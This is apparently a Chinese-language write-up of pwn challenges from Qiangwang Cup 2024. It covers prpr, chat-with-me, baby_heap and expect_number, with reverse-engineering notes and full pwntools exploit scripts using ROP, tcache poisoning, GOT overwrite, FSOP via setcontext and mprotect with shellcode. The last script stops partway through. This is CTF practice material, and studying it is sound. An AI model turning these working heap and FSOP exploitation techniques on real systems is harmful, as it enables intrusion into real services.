qwb2024

本文最后更新于 2025年3月16日 凌晨

强网杯2024pwn复现

prpr

复现基于ubuntu22.04环境,没有测试过远程

逆向分析

init_array

ida打开直接查看main函数

发现printf函数中含有非标准库的格式化字符串符号%Q%W%B
猜测它应该使用了register_printf_function注册了这些格式化字符串符号
不过main函数没有调用register_printf_function,那应该是main函数之前动了手脚

查看start,这是每个程序的最开始的地方

start调用了_libc_start_main函数,这个函数负责调用main函数
同时这个函数在调用main函数之前,会首先调用init_array中每个函数指针

找一下init_array段

第二个函数就是调用了register_printf_function的函数

main函数中调用了printf(“%Q%W%B”),对应调用了%Q,%W,%B注册的函数

QWB

接下来开始分析每个register_printf_function注册的函数,先从%Q,%W,%B开始,因为main函数中调用了这三个函数

Q打印了prpr

W依次调用了setvbuf、signal、sandbox
signal给14号(即alarm信号)注册了一个handler函数
sandbox用prctl注册了一个沙箱,禁用了execve,直接用orw就好

B调用了PRO,接着看PRO

vm

经过分析发现这是个虚拟机
P是vm_init函数,R是vm_run函数,O是vm_release函数

vm_info保存了虚拟机指令地址,指令数量,寄存器地址,寄存器数量以及整个stack和mem

大致结构如下

其中虚拟机指令位于

vm_run函数初始化了pc、stack_pointer、mem_pointer三个指针,然后开始调用opcodes

继续分析剩下的函数,将每个符号与虚拟机指令对应
得到对照表

然后写个脚本翻译一下提取出的opcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# extract为从ida中提取的opcodes的byte array,太长省略了
extract = [
0x25, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x25, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x25, 0x59, 0x00, 0x00, 0x00, 0x00,
...
]

from pwn import *

ref = {
"A" : "add",
"C" : "and",
"D" : "mem_and",
"E" : "or",
"F" : "mem_or",
"G" : "xor",
"H" : "mem_xor",
"i" : "mul",
"J" : "shl",
"K" : "shr",
"r" : "greater",
"M" : "eq",
"N" : "jmp",
"S" : "jnz",
"T" : "jz",
"U" : "push",
"V" : "push mem[pop()]",
"k" : "push_reg",
"X" : "mem[pop()] = pop()",
"Y" : "pop_reg",
"y" : "print pop()",
"a" : "push input_int()",
"b" : "read_mem",
"c" : "write_mem",
"f" : "dec_sp",
"g" : "call",
"n" : "ret",
"x" : "Exit",
}

for i in range(0,250):
op = bytes(extract[12*i:12*i+8]).decode()
op = op.strip("\x00")
op = op.strip("%")
op = op.strip("#")
arg = u32(bytes(extract[12*i+8:12*i+12]))

print(str(i).rjust(3," ") + "\t" + ref[op].ljust(20,' ') + str(arg))

并且经过调试分析,发现虚拟机的pc是从71开始的,经过脚本处理与手动调整后的opcodes如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
  0     Exit                0

1:
1 push input_int() 0
2 pop_reg 1
3 push 255
4 push_reg 1
5 greater 0
6 jnz 0
7 push_reg 1
8 push 0
9 greater 0
10 jnz 0
11 push input_int() 0
12 pop_reg 2
13 push 63
14 push_reg 2
15 greater 0
16 jnz 0
17 push_reg 2
18 push 0
19 greater 0
20 jnz 0
21 push_reg 2
22 push 4
23 mul 0
24 write_mem 0
25 push_reg 1
26 mem_and 0
27 push_reg 2
28 push 4
29 mul 0
30 read_mem 0
31 ret 0

2:
32 push input_int() 0
33 pop_reg 3
34 push input_int() 0
35 pop_reg 4
36 push 63
37 push_reg 4
38 greater 0
39 jnz 0
40 push_reg 4
41 push 0
42 greater 0
43 jnz 0
44 push 0
45 pop_reg 5
46 push_reg 4
47 push_reg 5
48 greater 0
49 jnz 59
50 call 60
51 push_reg 3
52 and 0
53 print pop() 0
54 push_reg 5
55 push 1
56 add 0
57 pop_reg 5
58 jmp 46
59 ret 0

func:
60 push input_int() 0
61 push_reg 5
62 mem[pop()] = pop() 0
63 push_reg 5
64 push mem[pop()] 0
65 push 255
66 eq 0
67 jnz 0
68 push_reg 5
69 push mem[pop()] 0
70 ret 0

_start:
71 push input_int() 0
72 pop_reg 0
73 push 1
74 push_reg 0
75 eq 0
76 jz 79
77 call 1
78 jmp 71
79 push 2
80 push_reg 0
81 eq 0
82 jz 85
83 call 32
84 jmp 71
85 push 3
86 push_reg 0
87 eq 0
88 jz 91
89 call 110
90 jmp 71
91 push 4
92 push_reg 0
93 eq 0
94 jz 97
95 call 141
96 jmp 71
97 push 5
98 push_reg 0
99 eq 0
100 jz 103
101 call 178
102 jmp 71
103 push 6
104 push_reg 0
105 eq 0
106 jz 109
107 call 209
108 jmp 71
109 Exit 0

3:
110 push input_int() 0
111 pop_reg 1
112 push 255
113 push_reg 1
114 greater 0
115 jnz 0
116 push_reg 1
117 push 0
118 greater 0
119 jnz 0
120 push input_int() 0
121 pop_reg 2
122 push 63
123 push_reg 2
124 greater 0
125 jnz 0
126 push_reg 2
127 push 0
128 greater 0
129 jnz 0
130 push_reg 2
131 push 4
132 mul 0
133 write_mem 0
134 push_reg 1
135 mem_xor 0
136 push_reg 2
137 push 4
138 mul 0
139 read_mem 0
140 ret 0

4:
141 push input_int() 0
142 pop_reg 3
143 push input_int() 0
144 pop_reg 4
145 push 62
146 push_reg 4
147 greater 0
148 jnz 0
149 push_reg 4
150 push 0
151 greater 0
152 jnz 0
153 push 0
154 pop_reg 5
155 push_reg 4
156 push_reg 5
157 greater 0
158 jnz 177
159 call 60
160 push_reg 3
161 xor 0
162 push_reg 5
163 mem[pop()] = pop() 0
164 push_reg 5
165 push mem[pop()] 0
166 push 255
167 eq 0
168 jnz 0
169 push_reg 5
170 push mem[pop()] 0
171 print pop() 0
172 push_reg 5
173 push 1
174 add 0
175 pop_reg 5
176 jmp 155
177 ret 0

5:
178 push input_int() 0
179 pop_reg 1
180 push 255
181 push_reg 1
182 greater 0
183 jnz 0
184 push_reg 1
185 push 0
186 greater 0
187 jnz 0
188 push input_int() 0
189 pop_reg 2
190 push 63
191 push_reg 2
192 greater 0
193 jnz 0
194 push_reg 2
195 push 0
196 greater 0
197 jnz 0
198 push_reg 2
199 push 4
200 mul 0
201 write_mem 0
202 push_reg 1
203 mem_or 0
204 push_reg 2
205 push 4
206 mul 0
207 read_mem 0
208 ret 0

6:
209 push input_int() 0
210 pop_reg 3
211 push input_int() 0
212 pop_reg 4
213 push 63
214 push_reg 4
215 greater 0
216 jnz 0
217 push_reg 4
218 push 0
219 greater 0
220 jnz 0
221 push 0
222 pop_reg 5
223 push_reg 4
224 push_reg 5
225 greater 0
226 jnz 245
227 call 60
228 push_reg 3
229 or 0
230 push_reg 5
231 mem[pop()] = pop() 0
232 push_reg 5
233 push mem[pop()] 0
234 push 255
235 eq 0
236 jnz 0
237 push_reg 5
238 push mem[pop()] 0
239 print pop() 0
240 push_reg 5
241 push 1
242 add 0
243 pop_reg 5
244 jmp 223
245 ret 0
246 Exit 0
247 Exit 0
248 Exit 0
249 Exit 0

这个虚拟机含有6个功能,_start接收一个int的输入,然后跳到对应的功能中去
功能1接收一个0到255的数,表示为key,再接收一个0到63的size
然后读取指定size的数据至mem中,然后用key和每个mem中的byte进行and运算,最后打印输出
功能1会对写入mem的数据进行and运算,然后打印的也是and后的结果

功能2接收一个数,表示为key,再接收一个0到63的size
然后依次读取一个int,写入mem中,最后将mem中的数据and后打印输出
功能2不会影响写入mem的数据,只会对打印and后的数据

功能3,5与1相同,不过分别进行的是xor与or运算
功能4,6与2相同,不过分别进行的是xor与or运算,并且会影响写入mem的数据

漏洞分析

漏洞点存在于mem_and、mem_or、mem_xor三个函数中
这三个函数在进行运算时,不会检测size,仅仅检测目标地址是否为’\0’
因此就有可能覆盖到mem中的返回地址

漏洞利用

我们采用功能6进行mem的填充,将所有mem填充为-1,从而能够利用漏洞覆盖掉返回地址
然后采用功能3进行mem的布置与ret地址的覆盖,在mem布置虚拟机指令

我们将返回地址修改为50,以调用call 60这条指令
因为返回时mem_pointer会减一,需要调用call来使mem_pointer加一
同时此时的reg5为64,可以直接在ret地址上写数据,从而达到任意地址ret,我们将pc转移到我们的可控区即mem中

同时因为一次可控的大小有限,所有需要分多次写入虚拟机指令
第一阶段先泄露地址,然后读入第二阶段指令并跳转过去执行
第二阶段泄露地址的同时布置ROP链,然后读入第三阶段的指令并跳转过去执行
第三阶段泄露栈地址,同时覆盖vm_run的返回地址为pop rsp;ret,从而将栈迁移到第二阶段布置的ROP链上,然后使vm_run函数返回

由于第一、第二、第三阶段共用一个mem
需要保证第二阶段读入的指令不会覆盖掉第一阶段的的jmp指令,第三阶段读入的指令不会覆盖掉第二阶段的的jmp指令

一条虚拟机指令需要占用12字节的空间,一个mem的大小为256字节
并且经过计算发现使用的mem前需要有8个字节的填充,所以实际可用248字节
所以每个阶段最多可用20条指令,并且为了不覆盖前一阶段的jmp,每个阶段需要少用一条
也就是说第一次可用20条,第二次可用19条,第三次可用18条

写了一个gdb脚本,方便调试虚拟机指令,基本上只需要按c就可以运行一条虚拟机指令了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

#set context-output /dev/pts/3
set context-output /dev/null

b *$rebase(0x201E)
#b *$rebase(0x2073)
#b *$rebase(0x2524)

set $prc=$rebase(0x6020)
set $stack_pointer=$rebase(0x601C)
set $mem_pointer=$rebase(0x6018)
set $vm_info=*(int ***)$rebase(0x6028)
set $regs=*($vm_info+2)

set $r0=$regs
set $r1=$regs+1
set $r2=$regs+2
set $r3=$regs+3
set $r4=$regs+4
set $r5=$regs+5
set $r6=$regs+6

set $stack=(int *)$vm_info+8
set $mem0=(int *)$vm_info+8+1000
set $mem1=(int *)$vm_info+8+1000+65

display *$prc
display *$stack_pointer
display *$mem_pointer
display $vm_info
display $stack[*$stack_pointer-1]
display $stack[*$stack_pointer]
display $mem0
display $mem1
display *$r0
display *$r1
display *$r2
display *$r3
display *$r4
display *$r5
display *$r6

display *((char *)$rsi+1)
display *((char *)$rsi+2)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
from pwn import *

context.log_level = 'debug'

p = process("./prpr")

program = ELF("./prpr")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def xor_content(xor_key,size,content):
p.sendline(b'3')
p.sendline(str(xor_key).encode())
p.sendline(b'%d' % (size / 4))
p.send(content)

def or_content_seq(or_key,size,data):
p.sendline(b'6')
p.sendline(str(or_key).encode())
p.sendline(b'%d' % (size // 4))
for i in range(size//4+1):
p.sendline(data)

def push(x):
if x < 0:
x = x + 0x100000000
return b'%U'.ljust(8,b'\x00') + p32(x)

def push_r(idx):
return b'%k'.ljust(8,b'\x00') + p32(idx)

def pop_r(idx):
return b'%Y'.ljust(8,b'\x00') + p32(idx)

def load():
'''
push mem[pop()]
'''
return b'%#V'.ljust(8,b'\x00') + p32(0)

def save():
'''
mem[pop()] = pop()
'''
return b'%#X'.ljust(8,b'\x00') + p32(0)

def print_sp():
return b'%y'.ljust(8,b'\x00') + p32(0)

def input_sp():
return b'%a'.ljust(8,b'\x00') + p32(0)

def jmp(x):
if x < 0:
x = x + 0x100000000
return b'%N'.ljust(8,b'\x00') + p32(x)

def write_mem():
return b'%c'.ljust(8,b'\x00') + p32(0)

def read_mem():
return b'%b'.ljust(8,b'\x00') + p32(0)

def call(x):
if x < 0:
x = x + 0x100000000
return b'%g'.ljust(8,b'\x00') + p32(x)

def retn():
return b'%n'.ljust(8,b'\x00') + p32(0)

p.recvuntil(b'[___]')

# stage 1
# padding
code = b'a'*0x8

# set mem_idx = 0
code += call(-0x65c4//12+1) # mem_idx++
code += jmp(-0x65c4//12+2)

# leak code heap addr
code += push(-0x10c4//4) + load()
code += print_sp()
code += push(-0x10c4//4+1) + load()
code += print_sp()

# leak elf_base
code += push(-0x19D4//4) + load()
code += print_sp()
code += push(-0x19D4//4+1) + load()
code += print_sp()

# leak free_got address
code += input_sp()
code += load()
code += print_sp()

#read stage2 code into mem[0] and exec
code += push(0xec) + write_mem()
code += jmp(-0x65c4//12+3)

code = code.ljust(0xfc,b'a')

payload = b''
for x in code:
payload += p8(x ^ 0x68)

or_content_seq(0xfe,0xfc,b'-1')
xor_content(0x68,0xfc,payload)

p.sendline(str(-0x65c4//12).encode())

p.recvuntil(b'aaaaaaaa%g\n')

heap_addr = (int(p.recvuntil(b'\n',drop = True)) & 0xffffffff) | ((int(p.recvuntil(b'\n',drop = True)) & 0xffffffff) << 32)
elf_base = ((int(p.recvuntil(b'\n',drop = True)) & 0xffffffff) | ((int(p.recvuntil(b'\n',drop = True)) & 0xffffffff) << 32)) - 0x2750

free_got_addr = elf_base + program.got['free']
memory_base = heap_addr - 0x65CC

print('heap_addr=',hex(heap_addr))
print('memory_base=',hex(memory_base))
print('elf_base=',hex(elf_base))

p.sendline(str((free_got_addr - memory_base)//4).encode())
free_addr_low = int(p.recvuntil(b'\n',drop = True)) & 0xffffffff
print('free_addr_low=',hex(free_addr_low))

# stage 2
code = b'a'*0x8
code += push(0xfc) + write_mem()
code += retn()

# stage2 start
code += input_sp()
code += load()
code += print_sp()
code += call(-0x65c4//12) #read rop into mem[1]

code += input_sp()
code += push(-0x10b4//4) + save()
code += input_sp()
code += push(-0x10b4//4+1) + save()
code += push_r(0) #leak stack_addr
code += print_sp()

# read stage3 code into mem[0] and exec
code += push(0xd4) + write_mem()
code += jmp(-0x65c4//12)

code = code.ljust(0xd0,b'a')
p.sendline(code)

sleep(1)
p.sendline(str((free_got_addr - memory_base)//4+1))
free_addr = free_addr_low | ((int(p.recvuntil(b'\n',drop = True)) & 0xffffffff) << 32)
libc_base = free_addr - libc.sym['free']
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
gets_addr = libc_base + libc.sym['gets']
puts_addr = libc_base + libc.sym['puts']
environ_addr = libc_base + libc.sym['environ']

syscall = libc_base + next(libc.search(asm('syscall;ret',arch='amd64')))
pop_rax = libc_base + 0x0000000000045eb0
pop_rsp = libc_base + 0x0000000000035732
pop_rdi = libc_base + 0x000000000002a3e5
pop_rsi = libc_base + 0x000000000002be51
pop_rdx_rbx = libc_base + 0x00000000000904a9

print('free_addr=',hex(free_addr))
print('libc_base=',hex(libc_base))

#rop
rop_addr = heap_addr - 0x64c8
flag_addr = rop_addr + 23 * 8

payload = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx_rbx) + p64(100)*2 + p64(read_addr)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx_rbx) + p64(100)*2 + p64(write_addr)
payload += b'./flag\x00'
p.sendline(payload)

def pack_int(x):
if x & 0x80000000 != 0:
x -= 0x100000000
return str(x).encode()

p.sendline(pack_int(environ_addr & 0xffffffff))
p.sendline(pack_int(environ_addr >> 32))

# leak stack address
stack_addr_low = (int(p.recvuntil(b'\n',drop = True)) & 0xffffffff)

# stage 3
code = b'a'*0x8
code += push_r(1) #leak stack_addr high
code += print_sp()

#set regs ptr
code += input_sp()
code += push(-0x10b4//4) + save()
code += input_sp()
code += push(-0x10b4//4+1) + save()

# edit pop_r's return address
code += push(rop_addr & 0xffffffff)
code += pop_r(2)
code += push(rop_addr >> 32)
code += pop_r(3)
code += push(pop_rsp & 0xffffffff)
code += pop_r(0)
code += push(pop_rsp >> 32)
code += pop_r(1)

code += jmp(1000)

code = code.ljust(0xd4,b'a')
p.sendline(code)

stack_addr = stack_addr_low | ((int(p.recvuntil('\n',drop = True)) & 0xffffffff) << 32)
print('stack_addr=',hex(stack_addr))

run_func_return_stack = stack_addr - 0x4330

# f = open("./script.gdb")
# gdb.attach(p,gdbscript=f)
# f.close()

p.sendline(pack_int(run_func_return_stack & 0xffffffff))
p.sendline(pack_int(run_func_return_stack >> 32))

p.interactive()

chat-with-me

rust pwn
逆向难度很大,基本上只能靠调试慢慢试

add()函数会得到一个栈上的指针
show()函数可以打印出80字节的数据,可以直接获取堆地址、栈地址
edit()函数可以编辑数据,并且有任意地址free

通过大量调用add()不断增大存放指针的堆块,直到达到unsorted bin的大小
然后用任意地址free掉这个堆块,再调用show()即可获取libc基地址

然后经过调试测试输入选择时会申请堆块,然后将数据拷贝进去
因此可以伪造堆块将堆分配到栈上进行ROP

利用edit函数在io缓冲区伪造0x30大小的堆块,然后释放掉它
测试输入选择时申请堆块拷贝数据后会释放掉它,因此需要在改写刚才伪造堆块的next指针时修改堆块的大小,从而让下次申请可以申请到修改后的指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *

context.log_level = "debug"
context.arch = "amd64"

p = process("./pwn")

elf = ELF("pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def add():
p.sendlineafter(b"Choice > ",b'1')

def show(idx):
p.sendlineafter(b"Choice > ",b'2')
p.sendlineafter(b"Index > ",str(idx).encode())

def edit(idx,content):
p.sendlineafter(b"Choice > ",b'3')
p.sendlineafter(b"Index > ",str(idx).encode())
p.sendafter(b"Content > ",content)

def delete(idx):
p.sendlineafter(b"Choice > ",b'4')
p.sendlineafter(b"Index > ",str(idx).encode())

def quit():
p.sendlineafter(b"Choice > ",b'5')

def unpackarr():
p.recvuntil(b'Content: ')
arr = eval(p.recvuntil(b']'))
print(arr)
res = [0]*10
for i in range(0,10):
res[i] = u64(bytes(arr[8*i:8*i+8]))
return res

add()
show(0)
arr = unpackarr()
heap_addr = arr[1]
stack_addr = arr[4]
bss_addr = arr[5]
heap_base = heap_addr - 0x2bb0
elf_base = bss_addr - 0x0635b0
log.success("stack_addr -> " + hex(stack_addr))
log.success("heap_base -> " + hex(heap_base))
log.success("elf_base -> " + hex(elf_base))

msg_addr = heap_base + 0x2BD0

for i in range(150):
add()

edit(0,cyclic(32)+p64(msg_addr))

show(0)
arr = unpackarr()
libc_addr = arr[4]
libc_base = libc_addr - 0x21acf0

add()

edit(150,cyclic(32)+p64(heap_base + 0x000bd0)+p64(0x31))
edit(150,cyclic(32)+p64(0) + p64(0x101) + p64(((heap_base+0x000bd0) >> 12) ^ (stack_addr-88)))

p.sendline(b'0'*32+b'1')

# gdb.attach(p)

pop_rdi = libc_base + 0x000000000002a3e5 # pop rdi ; ret
do_system = libc_base + 0x050900 + 2
binsh = libc_base + next(libc.search("/bin/sh\x00"))

p.sendline(p64(0)+p64(pop_rdi)+p64(binsh)+p64(do_system))

p.interactive()

baby_heap

glibc2.35的堆题

解法一

赛时出题人失误没清空环境变量中的flag
所以可以将程序libc中的strncmp的got换成printf函数的地址
这样程序在调用putenv时便会打印出所有环境变量的值,从而获取flag

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *

context.log_level = "debug"
context.arch = "amd64"

p = process("./pwn")
#p = remote("39.107.90.219",26684)

elf = ELF("./pwn")
libc = ELF("./libc-2.35.so")

def add(size):
p.sendlineafter(b"choice: \n",b'1')
p.sendlineafter(b"size \n",str(size).encode())

def delete(idx):
p.sendlineafter(b"choice: \n",b'2')
p.sendlineafter(b"delete: \n",str(idx).encode())

def edit(idx,content):
p.sendlineafter(b"choice: \n",b'3')
p.sendlineafter(b"edit: \n",str(idx).encode())
p.sendafter(b"content \n",content)

def show(idx):
p.sendlineafter(b"choice: \n",b'4')
p.sendlineafter(b"show: \n",str(idx).encode())

def env(choice):
p.sendlineafter(b"choice: \n",b'5')
p.sendlineafter(b"sad !\n",str(choice).encode())

def secret(buf,content):
p.sendlineafter(b"choice: \n",b'6')
p.recvuntil(b'addr \n')
p.send(buf)
sleep(1)
p.send(content)

add(0x520) # 1
add(0x520) # 2
delete(1)
show(1)

p.recvuntil(b'here \n')
libc_addr = u64(p.recv(8))
libc_base = libc_addr - 0x21ace0
log.success("libc_base -> " + hex(libc_base))

secret(p64(libc_base + libc.got['strncmp']),p64(libc_base + libc.sym['printf']))

#gdb.attach(p)

env(2)

p.interactive()

解法二

出题人还清空了io_wfile_jumps
应该是想要禁用apple,不过没禁好,任然可用io_wfile_jumps_maybe_mmap这条线

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
from pwn import *

context.log_level = "debug"
context.arch = "amd64"

p = process("./pwn")

elf = ELF("./pwn")
# libc = ELF("./libc-2.35.so")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def add(size):
p.sendlineafter(b"choice: \n",b'1')
p.sendlineafter(b"size \n",str(size).encode())

def delete(idx):
p.sendlineafter(b"choice: \n",b'2')
p.sendlineafter(b"delete: \n",str(idx).encode())

def edit(idx,content):
p.sendlineafter(b"choice: \n",b'3')
p.sendlineafter(b"edit: \n",str(idx).encode())
p.sendafter(b"content \n",content)

def show(idx):
p.sendlineafter(b"choice: \n",b'4')
p.sendlineafter(b"show: \n",str(idx).encode())

def secret(choice):
p.sendlineafter(b"choice: \n",b'5')
p.sendlineafter(b"sad !\n",str(choice).encode())

def default(buf,content):
p.sendlineafter(b"choice: \n",b'6')
p.recvuntil(b'addr \n')
p.send(buf)
sleep(1)
p.send(content)

secret(1)

add(0x520) # 1
add(0x500) # 2
add(0x510) # 3
delete(1)
add(0x550) # 4
delete(3)
show(1)

p.recvuntil(b'The content is here \n')
libc_addr = u64(p.recv(8))
p.recv(8)
heap_addr = u64(p.recv(8))
libc_base = libc_addr-0x21b110
heap_base = heap_addr-0x001950

log.success("libc_base -> "+hex(libc_base))
log.success("heap_base -> "+hex(heap_base))

IO_list_all = libc_base + libc.sym['_IO_list_all']
fake_IO_file = heap_base + 0x001950
IO_wfile_jumps_maybe_mmap = libc_base + 0x216f40

f = flat({
0x0: p64(0), # _flags
0x8: p64(0), # _IO_read_ptr
0x10: p64(0), # _IO_read_end
0x18: p64(0), # _IO_read_base
0x20: p64(0), # _IO_write_base
0x28: p64(0), # _IO_write_ptr
0x30: p64(0), # _IO_write_end
0x38: p64(0), # _IO_buf_base
0x40: p64(0), # _IO_buf_end
0x48: p64(0), # _IO_save_base
0x50: p64(0), # _IO_backup_base
0x58: p64(0), # _IO_save_end
0x60: p64(0), # markers
0x68: p64(0), # _chain
0x70: p32(0), # _fileno
0x74: p32(0), # _flags2
0x78: p64(0), # _old_offset
0x80: p16(0), # _cur_column
0x82: p8(0), # _vtable_offset
0x83: p8(0), # _shortbuf
0x88: p64(0), # _lock
0x90: p64(0), # _offset
0x98: p64(0), # _codecvt
0xa0: p64(fake_IO_file + 0xe0), # _wide_data
0xa8: p64(0), # _freeres_list
0xb0: p64(0), # _freeres_buf
0xb8: p64(0), # __pad5
0xc0: p32(0), # _mode
0xc4: p32(0), # _unused2
0xd8: p64(IO_wfile_jumps_maybe_mmap), #_vtables
}, filler = b'\x00')

iofile = f.ljust(0xe0,b'\x00')
iofile += b'\x00'*0xe0
iofile += p64(fake_IO_file + 0x200)
iofile = iofile.ljust(0x200, b"\x00")
iofile += b"\x00" * 0x68
iofile += p64(libc_base + 0x00000000001136df) # mov rdx, qword ptr [rax + 0xb0] ; call qword ptr [rax + 0x88]
iofile += p64(0)*3
iofile += p64(libc_base+libc.sym['setcontext']+61)
iofile += p64(0)*4
iofile += p64(fake_IO_file+0x2c0)
iofile = iofile.ljust(0x2c0,b'\x00')

ret = libc_base + 0x0000000000029139 # ret
pop_rdi = libc_base + 0x000000000002a3e5 # pop rdi ; ret
pop_rsi = libc_base + 0x000000000002be51 # pop rsi ; ret
pop_rdx_r12 = libc_base + 0x000000000011f2e7 # pop rdx ; pop r12 ; ret

setcontext = flat({
0xa0: p64(fake_IO_file+0x368), # mov rsp,QWORD PTR [rdx+0xa0]
0x80: p64(0), # mov rbx,QWORD PTR [rdx+0x80]
0x78: p64(0), # mov rbp,QWORD PTR [rdx+0x78]
0x48: p64(0), # mov r12,QWORD PTR [rdx+0x48]
0x50: p64(0), # mov r13,QWORD PTR [rdx+0x50]
0x58: p64(0), # mov r14,QWORD PTR [rdx+0x58]
0x60: p64(0), # mov r15,QWORD PTR [rdx+0x60]
0xa8: p64(ret), # mov rcx,QWORD PTR [rdx+0xa8] ; push rcx
0x70: p64(0), # mov rsi,QWORD PTR [rdx+0x70]
0x68: p64(0), # mov rdi,QWORD PTR [rdx+0x68]
0x98: p64(0), # mov rcx,QWORD PTR [rdx+0x98]
0x28: p64(0), # mov r8,QWORD PTR [rdx+0x28]
0x30: p64(0), # mov r9,QWORD PTR [rdx+0x30]
0x88: p64(0), # mov rdx,QWORD PTR [rdx+0x88]
},filler = b'\x00')

iofile += setcontext
iofile = iofile.ljust(0x360,b'\x00')

iofile += p64(pop_rdi) + p64(heap_base)
iofile += p64(pop_rsi) + p64(0x10000)
iofile += p64(pop_rdx_r12) + p64(7) + p64(0)
iofile += p64(libc_base + libc.sym['mprotect'])
iofile += p64(fake_IO_file+0x400)

iofile = iofile.ljust(0x400,b'\x00')
shellcode = b'H\xc7\xc0flagPH1\xffH\x83\xefdH\x89\xe6j\x00j\x00j\x00H\x89\xe2I\xc7\xc2\x18\x00\x00\x00h\xb5\x01\x00\x00X\x0f\x05H\x89\xc7H\x89\xe6\xba\x00\x01\x00\x001\xc0\x0f\x05\xbf\x01\x00\x00\x00H\x89\xe6j\x01X\x0f\x05'
iofile += shellcode

payload = p64(0) + p64(0) + p64(0) + p64(IO_list_all-0x20)
payload += iofile[0x30:]

edit(1,payload)
add(0x500)

# gdb.attach(p)

p.sendlineafter(b"choice: \n",b'5')

p.interactive()

expect_number

存储历史输入和当前结果的数组存在溢出,可以覆盖一个指针
这个指针原本指向的是一个函数指针,用于退出程序
不过可以覆盖指针的后几位,使其指向另一个函数,这个函数中存在栈溢出和c++异常处理
可用利用c++异常处理机制跳转到system(“/bin/sh”)的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
import ctypes

context.log_level = 'debug'

clibc = ctypes.CDLL("/lib/x86_64-linux-gnu/libc.so.6")
clibc.srand(1)

p = process("./pwn")
program = ELF("./pwn")

def cont(choose):
p.sendlineafter(b'choice \n',b'1')
p.sendlineafter(b'0\n',str(choose).encode())

def show():
p.sendlineafter(b'choice \n',b'2')

def submit():
p.sendlineafter(b'choice \n',b'3')

def Exit():
p.sendlineafter(b'choice \n',b'4')

choose = [1,1,0,1,0,1,1,2,0,0,2,1,2,1,1,2,2,1,2,2,1,2,1,0,2,2]

ref = {
1:0,
2:0,
3:1,
4:1,
}

for i in range(0,276):
op = clibc.rand() % 4 + 1
if i < len(choose):
cont(choose[i])
else:
cont(ref[op])

show()
link = u64(p.recvline()[-7:-1].ljust(8,b'\x00'))
program.address = link - 0x4c60

